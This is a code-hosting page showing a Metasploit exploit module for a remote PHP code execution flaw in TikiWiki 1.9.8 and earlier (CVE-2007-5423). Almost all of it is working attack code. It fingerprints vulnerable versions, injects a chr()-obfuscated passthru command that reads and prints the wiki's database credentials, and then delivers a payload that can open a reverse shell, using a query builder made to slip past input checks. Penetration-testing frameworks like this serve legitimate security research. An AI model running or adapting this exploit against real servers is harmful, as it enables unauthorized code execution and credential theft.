PageRenderTime 23ms CodeModel.GetById 20ms RepoModel.GetById 0ms app.codeStats 0ms

/modules/exploits/unix/webapp/tikiwiki_graph_formula_exec.rb

https://github.com/0x000G/metasploit-framework
Ruby | 229 lines | 214 code | 4 blank | 11 comment | 0 complexity | 54453056735e8e8e9df868b056fef5d3 MD5 | raw file
Possible License(s): BSD-3-Clause, Apache-2.0, GPL-2.0, LGPL-2.1
  1. ##
  2. # This file is part of the Metasploit Framework and may be subject to
  3. # redistribution and commercial restrictions. Please see the Metasploit
  4. # web site for more information on licensing and terms of use.
  5. # http://metasploit.com/
  6. ##
  7. require 'msf/core'
  8. class Metasploit3 < Msf::Exploit::Remote
  9. Rank = ExcellentRanking
  10. include Msf::Exploit::Remote::HttpClient
  11. def initialize(info = {})
  12. super(update_info(info,
  13. 'Name' => 'TikiWiki tiki-graph_formula Remote PHP Code Execution',
  14. 'Description' => %q{
  15. TikiWiki (<= 1.9.8) contains a flaw that may allow a remote
  16. attacker to execute arbitrary PHP code. The issue is due to
  17. 'tiki-graph_formula.php' script not properly sanitizing user
  18. input supplied to create_function(), which may allow a remote
  19. attacker to execute arbitrary PHP code resulting in a loss of
  20. integrity.
  21. },
  22. 'Author' => [ 'Matteo Cantoni <goony[at]nothink.org>', 'jduck' ],
  23. 'License' => MSF_LICENSE,
  24. 'References' =>
  25. [
  26. ['CVE', '2007-5423'],
  27. ['OSVDB', '40478'],
  28. ['BID', '26006'],
  29. ],
  30. 'Privileged' => false,
  31. 'Payload' =>
  32. {
  33. 'DisableNops' => true,
  34. # 6k. Really it's the max length of a URI minus the junk
  35. # we have to put in the request to trigger the
  36. # vulnerability. On Apache, 8190 is the max, so this
  37. # should be a pretty safe value.
  38. 'Space' => 6144,
  39. # Yes, 'x' is a badchar. The vulnerable code replaces it with '$x'.
  40. 'BadChars' => "`\"' %&x",
  41. },
  42. 'Platform' => 'php',
  43. 'Arch' => ARCH_PHP,
  44. 'Targets' => [[ 'Automatic', { }]],
  45. 'DisclosureDate' => 'Oct 10 2007',
  46. 'DefaultTarget' => 0))
  47. register_options(
  48. [
  49. OptString.new('URI', [true, "TikiWiki directory path", "/tikiwiki"]),
  50. ], self.class)
  51. end
  52. def check
  53. res = send_request_raw(
  54. {
  55. 'uri' => normalize_uri(datastore['URI'], "/tiki-index.php"),
  56. 'method' => 'GET',
  57. 'headers' =>
  58. {
  59. 'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',
  60. 'Connection' => 'Close',
  61. }
  62. }, 5)
  63. http_fingerprint({ :response => res }) # check method
  64. if (res and res.code == 200 and res.body.match(/TikiWiki v?([0-9\.]*)/))
  65. ver = $1
  66. #print_status("Detected TikiWiki version #{ver}")
  67. ver = ver.split('.')
  68. return Exploit::CheckCode::Safe if (ver[0] != '1')
  69. return Exploit::CheckCode::Safe if (ver[1] != '9')
  70. if (ver.length > 2)
  71. ver2 = ver[2].to_i
  72. if (ver.length > 3)
  73. ver3 = ver[3].to_i
  74. else
  75. ver3 = 0
  76. end
  77. return Exploit::CheckCode::Safe if (ver2 > 8)
  78. return Exploit::CheckCode::Safe if (ver2 == 8 and ver3 > 0)
  79. end
  80. return Exploit::CheckCode::Vulnerable
  81. end
  82. Exploit::CheckCode::Safe
  83. end
  84. def exploit
  85. print_status("Attempting to obtain database credentials...")
  86. url_db_local = build_uri("passthru(" +
  87. "chr(101).chr(99).chr(104).chr(111).chr(32).chr(89).chr(89).chr(89)." + # echo YYY
  88. "chr(59)." + # ;
  89. # cat db/local.php
  90. "chr(99).chr(97).chr(116).chr(32).chr(100).chr(98).chr(47).chr(108).chr(111).chr(99).chr(97).chr(108).chr(46).chr(112).chr(104).chr(112)." +
  91. "chr(59)." + # ;
  92. "chr(101).chr(99).chr(104).chr(111).chr(32).chr(89).chr(89).chr(89)" + # echo YYY
  93. ")")
  94. res = send_request_raw({
  95. 'uri' => url_db_local,
  96. 'method' => 'GET',
  97. 'headers' =>
  98. {
  99. 'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',
  100. 'Connection' => 'Close',
  101. }
  102. }, 5)
  103. if (res and res.message == "OK" and res.body)
  104. print_status("The server returned : #{res.code} #{res.message}")
  105. print_status("Server version : #{res.headers['Server']}")
  106. db_tiki = res.body.match(/db_tiki='(.*?)';/m)
  107. if (db_tiki)
  108. dbversion = res.body.match(/dbversion_tiki='(.*?)';/m)
  109. host_tiki = res.body.match(/host_tiki='(.*?)';/m)
  110. user_tiki = res.body.match(/user_tiki='(.*?)';/m)
  111. pass_tiki = res.body.match(/pass_tiki='(.*?)';/m)
  112. dbs_tiki = res.body.match(/dbs_tiki='(.*?)';/m)
  113. print_status("TikiWiki database informations : \n")
  114. print("db_tiki : " + db_tiki[1] + "\n")
  115. print("dbversion : " + dbversion[1] + "\n")
  116. print("host_tiki : " + host_tiki[1] + "\n")
  117. print("user_tiki : " + user_tiki[1] + "\n")
  118. print("pass_tiki : " + pass_tiki[1] + "\n")
  119. print("dbs_tiki : " + dbs_tiki[1] + "\n\n")
  120. end
  121. else
  122. print_status("No response from the server")
  123. end
  124. print_status("Attempting to execute our payload...")
  125. command = Rex::Text.uri_encode(payload.encoded)
  126. url_cmd = build_uri(payload.encoded)
  127. res = send_request_raw({
  128. 'uri' => url_cmd,
  129. 'method' => 'GET',
  130. 'headers' =>
  131. {
  132. 'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',
  133. 'Connection' => 'Close',
  134. }
  135. }, 5)
  136. end
  137. #
  138. # This function will build a fairly randomish query string to be used
  139. # when exploiting this vulnerability :)
  140. #
  141. def build_uri(f_val)
  142. uri = normalize_uri(datastore['URI'], "/tiki-graph_formula.php?")
  143. # Requirements:
  144. query = ''
  145. # 1. w,h,s,min,max must all be numeric
  146. vars = %w{ w h s min max }
  147. min = nil
  148. vars.each { |el|
  149. query << "&" if query.length > 0
  150. num = 1+rand(999)
  151. # 2. min must be less than max
  152. case el
  153. when 's'
  154. num = 1+rand(500)
  155. when 'min'
  156. if (min)
  157. num = min
  158. else
  159. min = num
  160. end
  161. when 'max'
  162. min ||= num
  163. num = min + 1 + rand(99)
  164. end
  165. query << "#{el}=#{num}"
  166. }
  167. # 3. cannot use `, ', ", or space
  168. if (f_val.index('\'') or f_val.index('"') or f_val.index('`') or f_val.index(' '))
  169. fail_with(Failure::Unknown, "The value for the 'f' variable contains an invalid character!")
  170. end
  171. # 4. the function must be one of:
  172. valid = %w{
  173. abs acos acosh asin asinh atan2 atan atanh ceil cos cosh deg2rad
  174. exp expm1 floor fmod hypot log10 log1p log max min pi pow rad2deg round sin
  175. sinh sqrt tan tanh
  176. }
  177. func = valid[rand(valid.length)]
  178. # 5. f must be an array
  179. query << "&" if query.length > 0
  180. # Strip off the semi-colon that the encoder insists on including.
  181. if f_val[-1,1] == ";"
  182. f_val = f_val[0,f_val.length-1]
  183. end
  184. query << "f[]=x.#{func}.#{f_val}"
  185. # This doesn't seem to be necessary on PHP 5.2.4, tikiwiki 1.9.5
  186. # Tested with php/reverse_php, php/meterpreter_reverse_tcp, and
  187. # php/meterpreter/reverse_tcp
  188. # -egypt
  189. # If we dont kill php here it spins eating 100% cpu :-/
  190. #query << '.die()'
  191. # 6. two options for 't' - png and pdf
  192. # - png requires php's gd extension
  193. # - pdf, if you set 'p', requires php pdf extension
  194. # -- we always use 'pdf' with a null 'p'
  195. query << "&" if query.length > 0
  196. query << 't=pdf'
  197. # 7. title must be set
  198. query << '&title='
  199. uri << query
  200. uri
  201. end
  202. end